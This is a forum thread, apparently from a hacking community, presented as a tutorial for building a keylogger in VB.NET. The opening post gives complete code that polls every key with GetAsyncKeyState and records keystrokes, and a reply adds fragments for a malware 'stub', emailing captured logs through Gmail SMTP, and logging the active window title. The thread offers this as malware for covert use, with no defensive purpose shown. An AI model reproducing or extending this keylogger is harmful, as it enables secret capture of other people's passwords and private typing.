{tut} How to make simple key logger

[sigmahero]

Im going to show you how to make a very simple key logger

Add the folowing to a form
____________________

1.Timmer
2.Text box(multi line) cover entir page with ith

Step2.

Make the timer enabeled and with intervels of 1

step 3
Select all code in the form deleate and copy and past this

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

End Sub
End Class

Now your finished

[Pixipixel_]

It's better with a good Stub

FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

& it send the rapport in your gmail

SMTP.Port = 587
        SMTP.EnableSsl = True

If you want the vurrent window title it's

If title <> GetActiveWindowTitle() Then

etc..

[sigmahero]

i know this is just a simple one

[XGelite]

now will have keyloggers everywhere! lol

[sora295]

how am i suposed to use this?